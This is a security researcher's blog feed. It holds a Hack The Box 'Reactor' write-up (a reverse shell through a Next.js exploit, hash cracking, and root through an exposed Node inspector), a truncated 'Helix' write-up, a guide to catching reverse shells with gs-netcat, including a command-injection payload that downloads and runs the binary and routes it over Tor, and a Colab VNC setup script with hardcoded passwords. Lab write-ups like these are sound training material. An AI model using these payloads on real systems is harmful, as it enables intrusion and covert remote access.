<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en_US"><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://surajitsen.live/feed.xml" rel="self" type="application/atom+xml" /><link href="https://surajitsen.live/" rel="alternate" type="text/html" hreflang="en_US" /><updated>2026-05-27T09:21:34+05:30</updated><id>https://surajitsen.live/feed.xml</id><title type="html">Portfolio | Surajit Sen</title><subtitle>Explore the portfolio of Surajit Sen , a student , security researcher , bug hunter , ctf player and backend dev.</subtitle><author><name>Surajit Sen</name><email>sensurajit@proton.me</email></author><entry><title type="html">HTB - Reactor</title><link href="https://surajitsen.live/htb/2026/05/26/reactorhtb.html" rel="alternate" type="text/html" title="HTB - Reactor" /><published>2026-05-26T00:00:00+05:30</published><updated>2026-05-26T00:00:00+05:30</updated><id>https://surajitsen.live/htb/2026/05/26/reactorhtb</id><content type="html" xml:base="https://surajitsen.live/htb/2026/05/26/reactorhtb.html"><![CDATA[<p><img src="/assets/images/ctf/reactor/image.png" alt="box" /></p>
<iframe src="/assets/writeups/reactorhtb/hackthebox(reactor).pdf" width="100%" height="720" style="border:1px solid #ddd;"></iframe>

<p><a href="/assets/writeups/reactorhtb/hackthebox(reactor).pdf">Download the PDF</a></p>

<h1 id="lets-start-">Lets Start !</h1>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Downloads/reactor]
└─<span class="nv">$ </span>rustscan <span class="nt">-a</span> 10.129.5.129
Open 10.129.5.129:22
Open 10.129.5.129:3000
</code></pre></div></div>

<p>Wow lets see whats running on port 3000 !
Its a next js app
And i notice my react2shell browser extension can tell me something
Upon looking at the version of next js 15.0.2 using wrapalyzer
Vulnerability confirm !
Since its a known vulnerability i spawn the weapon
Link : https://github.com/zr0n/react2shell</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Downloads/react2shell/react2shell]
└─<span class="nv">$ </span>node react2shell.js http://10.129.5.129:3000 shell 10.10.14.98 4444
═══════════════════════════════════════════
React2Shell - CVE-2025-55182 Exploit
═══════════════════════════════════════════
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Target: http://10.129.5.129:3000
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Payload: reverse shell to 10.10.14.98:4444
<span class="o">[!]</span> Ensure listener is ready: nc <span class="nt">-lvnp</span> 4444
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Sending malicious request...
<span class="o">[</span>+] Request sent successfully
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Check server console <span class="k">for </span>output
</code></pre></div></div>

<p>Another terminal start nc -lvnp 4444 or you can use a better tool called pwncat !
Btw after got the shell !
I notice</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Downloads/reactor]
└─<span class="nv">$ </span>nc <span class="nt">-lvnp</span> 4444
listening on <span class="o">[</span>any] 4444 ...
connect to <span class="o">[</span>10.10.14.98] from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>10.129.5.129] 52808
bash: cannot <span class="nb">set </span>terminal process group <span class="o">(</span>1377<span class="o">)</span>: Inappropriate ioctl <span class="k">for </span>device
bash: no job control <span class="k">in </span>this shell
node@reactor:/opt/reactor-app<span class="nv">$ </span><span class="nb">ls
ls
</span>app
next.config.js
node_modules
package.json
package-lock.json reactor.db
node@reactor:/opt/reactor-app<span class="err">$</span>
</code></pre></div></div>

<p>A db file
Lets pull it on my local machine
Python3 - m http.server 5555 Then wget http://ip:5555/reactor.db</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Downloads/react2shell/react2shell]
└─<span class="nv">$ </span>sqlite3 reactor.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter <span class="s2">".help"</span> <span class="k">for </span>usage hints.
sqlite&gt; <span class="k">select</span> <span class="k">*</span> from <span class="nb">users</span><span class="p">;</span>
1|admin|a203b22191redact5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d9711redact12cd271e8e|operator|engineer@reactor.htb
Program interrupted.
</code></pre></div></div>

<p>Lets crack those
Found password for engineer user !</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"hashhere"</span> <span class="o">&gt;</span> hashes.txt
<span class="nb">echo</span> <span class="s2">"hashhere"</span> <span class="o">&gt;&gt;</span> hashes.txt
john <span class="nt">--format</span><span class="o">=</span>Raw-MD5 <span class="nt">--wordlist</span><span class="o">=</span>/usr/share/wordlists/rockyou.txt hashes.txt
</code></pre></div></div>

<p>Quickly login via ssh !
Ssh engineer@ip
And boom !</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>engineer@10.129.5.129's password:
____ _____ _ ____ _____ ___ ____
| _ \| ____| / \ / ___|_ _/ _ \| _ \
| |_) | _| / _ \| | | || | | | |_) |
| _ &lt;| |___ / ___ \ |___ | || |_| | _ &lt;
|_| \_\_____/_/ \_\____| |_| \___/|_| \_\
ReactorWatch Core Monitoring System
Nuclear Dynamics Corp. - Site 7
AUTHORIZED PERSONNEL ONLY
Last login: Mon May 25 17:56:58 2026 from 10.10.14.98
</code></pre></div></div>

<p>Found user.txt flag yahhh
Next root right ?
But before that lets analyze the system first
First i run sudo -l
Sorry, user engineer may not run sudo on reactor.
Not works
Lets see the processes
And notice root 1384 0.0 1.2 1068080 51080 ? Ssl 11:21 0:02 /usr/bin/node –inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
Owned by root !
wow
Ss -tlpn</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>engineer@reactor:/<span class="nv">$ </span>ss <span class="nt">-tlnp</span>
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:<span class="k">*</span>
LISTEN 0 5 0.0.0.0:5555 0.0.0.0:<span class="k">*</span>
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:<span class="k">*</span>
LISTEN 0 511 127.0.0.1:9229 0.0.0.0:<span class="k">*</span>
LISTEN 0 4096 0.0.0.0:22 0.0.0.0:<span class="k">*</span>
LISTEN 0 511 <span class="k">*</span>:3000 <span class="k">*</span>:<span class="k">*</span>
LISTEN 0 4096 <span class="o">[</span>::]:22 <span class="o">[</span>::]:
</code></pre></div></div>

<p>The root process is already running with –inspect. I need to connect to it
For that i need a debugger right so
I used a simple method using Chrome DevTools
ssh -L 9229:127.0.0.1:9229 engineer@10.129.5.129
chrome://inspect
Click “Add connection” and add: localhost:9229
Then you’ll see the Node.js process and can run commands in console
For first time
Allow pasting
Once connected run require(‘child_process’).execSync(‘cat /root/root.txt’).toString()
Congratulations! You’ve rooted the machine!
Whats going on under the hood ?
The –inspect flag enables the Chrome DevTools Protocol - a debugging interface that allows:
● Attaching debuggers (like Chrome)
● Setting breakpoints
● Executing arbitrary JavaScript in the process context
Chrome Browser ←── WebSocket ←── Target’s Node.js Process (root)
Chrome spoke the DevTools Protocol - a JSON-based language for debugging.
require(‘child_process’) command was wrapped in a JSON message:
json</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
</span><span class="nl">"method"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Runtime.evaluate"</span><span class="p">,</span><span class="w">
</span><span class="nl">"params"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"expression"</span><span class="p">:</span><span class="w"> </span><span class="s2">"require('child_process').execSync('cat /root/root.txt').toString()"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<hr />]]></content><author><name>Surajit Sen</name><email>sensurajit@proton.me</email></author><category term="htb" /><category term="htb" /><category term="Reactor htb" /><category term="Reactor writeup" /><summary type="html"><![CDATA[Hack The Box Reactor machine writeup]]></summary></entry><entry><title type="html">HTB - Helix</title><link href="https://surajitsen.live/htb/2026/05/16/helixhtb.html" rel="alternate" type="text/html" title="HTB - Helix" /><published>2026-05-16T00:00:00+05:30</published><updated>2026-05-16T00:00:00+05:30</updated><id>https://surajitsen.live/htb/2026/05/16/helixhtb</id><content type="html" xml:base="https://surajitsen.live/htb/2026/05/16/helixhtb.html"><![CDATA[<h1 id="helix-htb">Helix HTB</h1>

<h2 id="initial-enumeration">Initial Enumeration</h2>

<h3 id="nmap-scan">Nmap Scan</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sC</span> <span class="nt">-sV</span> <span class="nt">-oA</span> helix 10.129.60.0
</code></pre></div></div>

<p><strong>Results:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://helix.htb/
</code></pre></div></div>

<h3 id="add-to-etchosts">Add to /etc/hosts</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"10.129.60.0 helix.htb"</span> <span class="o">&gt;&gt;</span> /etc/hosts
</code></pre></div></div>

<h2 id="web-reconnaissance">Web Reconnaissance</h2>

<p>Visiting <code class="language-plaintext highlighter-rouge">http://helix.htb</code> shows a static “Industrial Operator” page. Nothing interactive.</p>

<h2 id="vhost-fuzzing">Vhost Fuzzing</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ffuf <span class="nt">-u</span> http://10.129.60.0 <span class="nt">-H</span> <span class="s2">"Host: FUZZ.helix.htb"</span> <span class="se">\</span>
     <span class="nt">-w</span> /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt <span class="se">\</span>
     <span class="nt">-mc</span> all <span class="nt">-ac</span>
</code></pre></div></div>

<p><strong>Result:</strong> <code class="language-plaintext highlighter-rouge">flow.helix.htb</code> [Status: 200]</p>

<h3 id="add-to-etchosts-1">Add to /etc/hosts</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"10.129.60.0 flow.helix.htb"</span> <span class="o">&gt;&gt;</span> /etc/hosts
</code></pre></div></div>

<!--more-->

<p>If you want the full Helix HTB writeup and post‑exploitation steps, please support via Ko‑fi.
If you don’t want to, just email me at <strong>sensurajit@proton.me</strong> and I’ll share it.</p>

<script type="text/javascript" src="https://storage.ko-fi.com/cdn/widget/Widget_2.js"></script>

<script type="text/javascript">kofiwidget2.init('Small Tip For Helix Writeup', '#72a4f2', 'C0C71ZPJXW');kofiwidget2.draw();</script>]]></content><author><name>Surajit Sen</name><email>sensurajit@proton.me</email></author><category term="htb" /><category term="htb" /><category term="helix htb" /><category term="helix writeup" /><summary type="html"><![CDATA[Hack The Box Helix machine writeup]]></summary></entry><entry><title type="html">No VPS? No Problem - Catch Reverse Shells Without a VPS</title><link href="https://surajitsen.live/post/2026/05/10/no-vps-no-problem.html" rel="alternate" type="text/html" title="No VPS? No Problem - Catch Reverse Shells Without a VPS" /><published>2026-05-10T00:00:00+05:30</published><updated>2026-05-10T00:00:00+05:30</updated><id>https://surajitsen.live/post/2026/05/10/no-vps-no-problem</id><content type="html" xml:base="https://surajitsen.live/post/2026/05/10/no-vps-no-problem.html"><![CDATA[<div id="disclaimer-popup" style="display:flex;position:fixed;inset:0;z-index:9999;align-items:center;justify-content:center;padding:24px;background:rgba(10,14,23,0.72);backdrop-filter:blur(6px);">
  <div style="max-width:640px;width:100%;background:#fff;color:#111827;border-radius:18px;padding:24px;box-shadow:0 24px 80px rgba(0,0,0,0.35);border:1px solid rgba(255,255,255,0.4);">
    <p style="margin:0 0 8px;font-size:0.78rem;font-weight:700;letter-spacing:0.08em;text-transform:uppercase;color:#b45309;">Disclaimer</p>
    <p style="margin:0 0 16px;line-height:1.65;">
      This post is intended for educational purposes only. Only use these techniques on systems you own or have explicit written permission to test. Unauthorized access is illegal.
    </p>
    <p style="margin:0 0 16px;line-height:1.65;">
      All demonstrations shown in the pictures were strictly tested in a dockerized environment I own.
    </p>
    <button type="button" onclick="document.getElementById('disclaimer-popup').style.display='none';" style="appearance:none;border:0;border-radius:999px;padding:10px 16px;background:#111827;color:#fff;font-weight:700;cursor:pointer;">
      I Understand
    </button>
  </div>
</div>

<blockquote>
  <p><strong>Disclaimer:</strong> This post is intended for educational purposes only.
Only use these techniques on systems you own or have explicit written
permission to test. Unauthorized access is illegal.
All demonstrations shown in the pictures were strictly tested in a dockerized
environment I own.</p>
</blockquote>

<p>If you don’t have a VPS to get a reverse shell, no problem — I hear you!</p>

<p>First of all, you don’t need a VPS to get a reverse shell. You just need something that has a public endpoint, like a relay or a TCP tunneling service.</p>

<p>Want to know the options? Here we go.</p>

<p><strong>Method 1: Ngrok</strong>
The first service is ngrok, which offers TCP connections. The downside is it requires a credit or debit card to be added to your account, and many of you either don’t have one or are worried about putting sensitive information into an ngrok account — so it’s not ideal for everyone.</p>

<p><strong>Method 2: Pinggy</strong>
A tunneling service that provides a TCP address with a 60-minute expiration, which is reliable for quick sessions. The downside is that the tunnel address binds to your actual IP, which can expose it. Using a VPN beforehand solves this.</p>

<p><strong>Method 3: gs-netcat (Recommended)</strong>
This is the best method I’ve found for catching shells without any VPS or port forwarding needed.</p>

<ul>
  <li>No public IP required</li>
  <li>No port forwarding</li>
  <li>End-to-end encrypted (AES-256)</li>
  <li>Optional Tor routing with <code class="language-plaintext highlighter-rouge">-T</code> flag for full anonymity (this is what we want)</li>
  <li>Works through firewalls and NAT</li>
</ul>

<p>For more info: https://www.gsocket.io/</p>

<p><strong>Generate a secret:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>root@DESKTOP-5R8GB0U ~] gs-netcat
Enter Secret <span class="o">(</span>or press Enter to generate<span class="o">)</span>:
<span class="o">=</span>Secret         : your-secret-goes-here
<span class="o">=</span>Encryption     : SRP-AES-256-CBC-SHA-End2End <span class="o">(</span>Prime: 4096 bits<span class="o">)</span>
</code></pre></div></div>

<p><img src="/assets/images/no-vps-methods/revshell.png" alt="gs-netcat setup" /></p>

<p>Once you’ve generated the secret, deploy it on the target machine (I used my own hosted AWS server here):</p>

<p><img src="/assets/images/no-vps-methods/server-stuff.png" alt="target setup" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">;</span> curl <span class="nt">-sL</span> https://github.com/hackerschoice/gsocket/releases/download/v1.4.43/gs-netcat_linux-x86_64 <span class="nt">-o</span> /tmp/gs-netcat <span class="o">&amp;&amp;</span> <span class="nb">chmod</span> +x /tmp/gs-netcat <span class="o">&amp;&amp;</span> <span class="nb">nohup</span> /tmp/gs-netcat <span class="nt">-s</span> your-secret-goes-here <span class="nt">-l</span> <span class="nt">-i</span> &amp;
</code></pre></div></div>

<p>This fetches the binary on the target and executes it. Add the <code class="language-plaintext highlighter-rouge">-T</code> flag for Tor routing (optional).</p>

<p>Finally, connect from your machine:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gs-netcat <span class="nt">-s</span> your-secret-goes-here <span class="nt">-i</span>
</code></pre></div></div>

<p><img src="/assets/images/no-vps-methods/gs-netcat-rev-shell.png" alt="reverse shell" /></p>

<blockquote>
  <p><strong>Note:</strong> This payload is designed for command injection based attacks. You can adapt it to your needs.</p>
</blockquote>

<p>That’s all folks! There are other platforms available that offer free tunneling, but these are the two methods I found most useful. Hope you liked it — thank you!</p>

<hr />
<ul>
  <li>note that <code class="language-plaintext highlighter-rouge">-T</code> requires Tor to be running locally (<code class="language-plaintext highlighter-rouge">systemctl start tor</code>)</li>
  <li>this targets <strong>Linux x86_64</strong> — different arch needs a different binary</li>
</ul>]]></content><author><name>Surajit Sen</name><email>sensurajit@proton.me</email></author><category term="post" /><category term="reverse-shell" /><category term="reverse-shell-without-vps" /><category term="penetration-testing" /><category term="gsocket" /><category term="pinggy" /><category term="tunneling" /><category term="red-team" /><category term="command-injection" /><summary type="html"><![CDATA[No VPS no problem - catch reverse shells without a VPS using gsocket, pinggy, and other tunneling services for CTF and authorized penetration testing.]]></summary></entry><entry><title type="html">Google Colab Hack</title><link href="https://surajitsen.live/post/2026/05/09/google-colab-as-vm.html" rel="alternate" type="text/html" title="Google Colab Hack" /><published>2026-05-09T00:00:00+05:30</published><updated>2026-05-09T00:00:00+05:30</updated><id>https://surajitsen.live/post/2026/05/09/google-colab-as-vm</id><content type="html" xml:base="https://surajitsen.live/post/2026/05/09/google-colab-as-vm.html"><![CDATA[<p>want to get a free cloud based vm not fully but yes..kind of vm.</p>

<p><img src="/assets/images/google-colab/neofetch.png" alt="Colab desktop running in the browser" /></p>

<p>Google Colab might help !</p>

<p>first of all google colab is a free, cloud-based Jupyter Notebook environment that allows users to write and execute Python code in a browser.</p>

<p>but there is some more juicy stuffs you can do it here !</p>

<p>we can make it a full featured vm</p>

<h2 id="features">Features</h2>

<ul>
  <li>XFCE Desktop Environment</li>
  <li>noVNC Browser Access</li>
  <li>SSH Access ( Using Tailscale or https://pinggy.io )</li>
  <li>Cloudflare Tunnel for Access the vm on browser</li>
  <li>Browser Support ( use falkon , google-chrome)</li>
  <li>GPU Access</li>
  <li>Linux Terminal</li>
  <li>Package Installation</li>
  <li>Temporary VPS-like Environment</li>
</ul>

<h2 id="what-you-can-do">What You Can Do</h2>

<ul>
  <li>browse internet</li>
  <li>run linux apps</li>
  <li>install tools</li>
  <li>access terminal remotely</li>
  <li>host temporary services to play with it</li>
  <li>run GUI applications</li>
  <li>use it as a lightweight cloud desktop</li>
  <li>practice cybersec stuffs</li>
  <li>view any temp file that you think may be infected.</li>
</ul>

<p><img src="/assets/images/google-colab/chrome.png" alt="running chrome" /></p>

<p><img src="/assets/images/google-colab/demo.png" alt="" /></p>

<p><img src="/assets/images/google-colab/full-root.png" alt="full root" /></p>

<p><img src="/assets/images/google-colab/google%20chrome%20-colab.png" alt="chrome" /></p>

<p><img src="/assets/images/google-colab/ssh.png" alt="ssh" /></p>
<h2 id="limitations">Limitations</h2>

<ul>
  <li>session expires</li>
  <li>files are temporary</li>
  <li>idle disconnects</li>
  <li>not a real persistent VPS</li>
  <li>limited resources</li>
</ul>

<p>but here is some trick :</p>

<p>you CAN make the environment semi-persistent using Google Drive + auto-restore scripts.</p>

<p>Using Google Drive mount:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="n">google.colab</span> <span class="kn">import</span> <span class="n">drive</span>
<span class="n">drive</span><span class="p">.</span><span class="nf">mount</span><span class="p">(</span><span class="sh">'</span><span class="s">/content/drive</span><span class="sh">'</span><span class="p">)</span>
</code></pre></div></div>

<p>you can persist:</p>

<p>scripts
browser profiles
VSCode settings
projects
downloaded files
SSH configs
VNC configs
package lists
etc 
sounds great right ? 
you can find more tips and trick by googling
but here is some refs : 
https://gist.github.com/hiraksarkar/2af99db628c2528cc5362c21da9985cc</p>

<p>https://medium.com/@robertbracco1/configuring-google-colab-like-a-pro-d61c253f7573</p>

<h2 id="setup-stack">Setup Stack</h2>

<p>before running any script 
first mount the drive</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from google.colab import drive
drive.mount<span class="o">(</span><span class="s1">'/content/drive'</span><span class="o">)</span>
</code></pre></div></div>
<p>then run the bash script 
open the  attached terminal on colab
then just install nano 
apt install -y nano 
and paste the script 
or 
use</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> <span class="o">&gt;</span> persistent_colab_vm.sh <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'

# paste script here
</span><span class="no">
EOF
</span></code></pre></div></div>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>

<span class="nb">set</span> <span class="nt">-e</span>

<span class="nv">USERNAME</span><span class="o">=</span><span class="s2">"colab"</span>
<span class="nv">PASSWORD</span><span class="o">=</span><span class="s2">"colab123"</span>
<span class="nv">VNC_PASSWORD</span><span class="o">=</span><span class="s2">"123456"</span>

<span class="nv">PERSIST_BASE</span><span class="o">=</span><span class="s2">"/content/drive/MyDrive/colab-vm"</span>

<span class="k">if</span> <span class="o">[</span> <span class="o">!</span> <span class="nt">-d</span> <span class="s2">"/content/drive/MyDrive"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
    </span><span class="nb">echo
    echo</span> <span class="s2">"[!] Google Drive is not mounted."</span>
    <span class="nb">echo
    echo</span> <span class="s2">"Run this FIRST inside Colab:"</span>
    <span class="nb">echo
    echo</span> <span class="s2">"from google.colab import drive"</span>
    <span class="nb">echo</span> <span class="s2">"drive.mount('/content/drive')"</span>
    <span class="nb">echo
    exit </span>1
<span class="k">fi

</span><span class="nb">export </span><span class="nv">USER</span><span class="o">=</span>root
<span class="nb">export </span><span class="nv">HOME</span><span class="o">=</span>/root
<span class="nb">export </span><span class="nv">DISPLAY</span><span class="o">=</span>:1
<span class="nb">export </span><span class="nv">XDG_RUNTIME_DIR</span><span class="o">=</span>/tmp/runtime-root

<span class="nb">mkdir</span> <span class="nt">-p</span> <span class="nv">$XDG_RUNTIME_DIR</span>
<span class="nb">chmod </span>700 <span class="nv">$XDG_RUNTIME_DIR</span>

<span class="nb">mkdir</span> <span class="nt">-p</span> <span class="nv">$PERSIST_BASE</span>
<span class="nb">mkdir</span> <span class="nt">-p</span> <span class="nv">$PERSIST_BASE</span>/chrome-profile
<span class="nb">mkdir</span> <span class="nt">-p</span> <span class="nv">$PERSIST_BASE</span>/workspace
<span class="nb">mkdir</span> <span class="nt">-p</span> <span class="nv">$PERSIST_BASE</span>/vnc
<span class="nb">mkdir</span> <span class="nt">-p</span> <span class="nv">$PERSIST_BASE</span>/scripts

<span class="nb">echo</span> <span class="s2">"[*] Updating packages..."</span>

apt update <span class="nt">-y</span>

<span class="nb">echo</span> <span class="s2">"[*] Installing packages..."</span>

apt <span class="nb">install</span> <span class="nt">-y</span> <span class="se">\</span>
xfce4 <span class="se">\</span>
xfce4-goodies <span class="se">\</span>
tightvncserver <span class="se">\</span>
novnc <span class="se">\</span>
websockify <span class="se">\</span>
wget <span class="se">\</span>
curl <span class="se">\</span>
<span class="nb">sudo</span> <span class="se">\</span>
dbus-x11 <span class="se">\</span>
falkon

<span class="nb">echo</span> <span class="s2">"[*] Creating user..."</span>

<span class="nb">id</span> <span class="nt">-u</span> <span class="nv">$USERNAME</span> &amp;&gt;/dev/null <span class="o">||</span> useradd <span class="nt">-m</span> <span class="nt">-s</span> /bin/bash <span class="nv">$USERNAME</span>

<span class="nb">echo</span> <span class="s2">"</span><span class="nv">$USERNAME</span><span class="s2">:</span><span class="nv">$PASSWORD</span><span class="s2">"</span> | chpasswd

usermod <span class="nt">-aG</span> <span class="nb">sudo</span> <span class="nv">$USERNAME</span>

<span class="nb">mkdir</span> <span class="nt">-p</span> /home/<span class="nv">$USERNAME</span>/.vnc

<span class="nb">cat</span> <span class="o">&gt;</span> /home/<span class="nv">$USERNAME</span>/.vnc/xstartup <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOL</span><span class="sh">'
#!/bin/bash

xrdb </span><span class="nv">$HOME</span><span class="sh">/.Xresources

export XKL_XMODMAP_DISABLE=1

unset SESSION_MANAGER
unset DBUS_SESSION_BUS_ADDRESS

startxfce4 &amp;
</span><span class="no">EOL

</span><span class="nb">chmod</span> +x /home/<span class="nv">$USERNAME</span>/.vnc/xstartup

<span class="nb">echo</span> <span class="s2">"</span><span class="nv">$VNC_PASSWORD</span><span class="s2">"</span> | vncpasswd <span class="nt">-f</span> <span class="o">&gt;</span> /home/<span class="nv">$USERNAME</span>/.vnc/passwd

<span class="nb">chmod </span>600 /home/<span class="nv">$USERNAME</span>/.vnc/passwd

<span class="nb">chown</span> <span class="nt">-R</span> <span class="nv">$USERNAME</span>:<span class="nv">$USERNAME</span> /home/<span class="nv">$USERNAME</span>/.vnc

<span class="nb">echo</span> <span class="s2">"[*] Restoring browser profile..."</span>

<span class="nb">mkdir</span> <span class="nt">-p</span> /home/<span class="nv">$USERNAME</span>/.config/google-chrome

<span class="k">if</span> <span class="o">[</span> <span class="nt">-d</span> <span class="s2">"</span><span class="nv">$PERSIST_BASE</span><span class="s2">/chrome-profile/Default"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
    </span><span class="nb">cp</span> <span class="nt">-r</span> <span class="nv">$PERSIST_BASE</span>/chrome-profile/<span class="k">*</span> <span class="se">\</span>
    /home/<span class="nv">$USERNAME</span>/.config/google-chrome/ <span class="o">||</span> <span class="nb">true
</span><span class="k">fi

</span><span class="nb">chown</span> <span class="nt">-R</span> <span class="nv">$USERNAME</span>:<span class="nv">$USERNAME</span> /home/<span class="nv">$USERNAME</span>/.config

<span class="nb">echo</span> <span class="s2">"[*] Cleaning old sessions..."</span>

pkill Xtightvnc 2&gt;/dev/null <span class="o">||</span> <span class="nb">true
</span>pkill websockify 2&gt;/dev/null <span class="o">||</span> <span class="nb">true
</span>pkill cloudflared 2&gt;/dev/null <span class="o">||</span> <span class="nb">true

rm</span> <span class="nt">-rf</span> /tmp/.X1-lock
<span class="nb">rm</span> <span class="nt">-rf</span> /tmp/.X11-unix/X1

<span class="nb">echo</span> <span class="s2">"[*] Starting VNC..."</span>

su - <span class="nv">$USERNAME</span> <span class="nt">-c</span> <span class="s2">"
export USER=</span><span class="nv">$USERNAME</span><span class="s2">
export HOME=/home/</span><span class="nv">$USERNAME</span><span class="s2">
vncserver :1 -geometry 1366x768 -depth 24
"</span>

<span class="k">if</span> <span class="o">!</span> <span class="nb">command</span> <span class="nt">-v</span> google-chrome &amp;&gt;/dev/null<span class="p">;</span> <span class="k">then

    </span><span class="nb">echo</span> <span class="s2">"[*] Installing Chrome..."</span>

    wget <span class="nt">-q</span> https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb

    apt <span class="nb">install</span> <span class="nt">-y</span> ./google-chrome-stable_current_amd64.deb <span class="o">||</span> <span class="nb">true
</span><span class="k">fi

if</span> <span class="o">[</span> <span class="o">!</span> <span class="nt">-f</span> <span class="s2">"./cloudflared"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then

    </span><span class="nb">echo</span> <span class="s2">"[*] Downloading cloudflared..."</span>

    wget <span class="nt">-q</span> <span class="se">\</span>
    https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 <span class="se">\</span>
    <span class="nt">-O</span> cloudflared

    <span class="nb">chmod</span> +x cloudflared
<span class="k">fi

</span><span class="nb">echo</span> <span class="s2">"[*] Starting noVNC..."</span>

websockify <span class="se">\</span>
<span class="nt">--web</span><span class="o">=</span>/usr/share/novnc/ <span class="se">\</span>
0.0.0.0:6080 <span class="se">\</span>
localhost:5901 &amp;

<span class="nb">cat</span> <span class="o">&gt;</span> <span class="nv">$PERSIST_BASE</span>/scripts/save_profile.sh <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOL</span><span class="sh">'
#!/bin/bash

cp -r /home/colab/.config/google-chrome/* </span><span class="se">\</span><span class="sh">
/content/drive/MyDrive/colab-vm/chrome-profile/ || true
</span><span class="no">EOL

</span><span class="nb">chmod</span> +x <span class="nv">$PERSIST_BASE</span>/scripts/save_profile.sh

<span class="nb">echo
echo</span> <span class="s2">"========================================"</span>
<span class="nb">echo
echo</span> <span class="s2">"[+] Persistent Colab VM Ready"</span>
<span class="nb">echo
echo</span> <span class="s2">"User: </span><span class="nv">$USERNAME</span><span class="s2">"</span>
<span class="nb">echo</span> <span class="s2">"Password: </span><span class="nv">$PASSWORD</span><span class="s2">"</span>
<span class="nb">echo
echo</span> <span class="s2">"VNC Password: </span><span class="nv">$VNC_PASSWORD</span><span class="s2">"</span>
<span class="nb">echo
echo</span> <span class="s2">"Workspace:"</span>
<span class="nb">echo</span> <span class="s2">"</span><span class="nv">$PERSIST_BASE</span><span class="s2">/workspace"</span>
<span class="nb">echo
echo</span> <span class="s2">"Saving browser profile:"</span>
<span class="nb">echo
echo</span> <span class="s2">"bash </span><span class="nv">$PERSIST_BASE</span><span class="s2">/scripts/save_profile.sh"</span>
<span class="nb">echo
echo</span> <span class="s2">"========================================"</span>
<span class="nb">echo</span>

./cloudflared tunnel <span class="nt">--url</span> http://0.0.0.0:6080
</code></pre></div></div>

<p>Make Executable</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">chmod</span> +x persistent_colab_vm.sh
</code></pre></div></div>
<p>and then run</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./persistent_colab_vm.sh
</code></pre></div></div>

<h3 id="open-novnc">Open noVNC</h3>

<p>After setup completes:</p>

<p>https://random.trycloudflare.com/vnc.html</p>

<p>Use:</p>

<table>
  <thead>
    <tr>
      <th>Setting</th>
      <th>Value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Host</td>
      <td>localhost</td>
    </tr>
    <tr>
      <td>Port</td>
      <td>5901</td>
    </tr>
    <tr>
      <td>Password</td>
      <td>123456</td>
    </tr>
  </tbody>
</table>

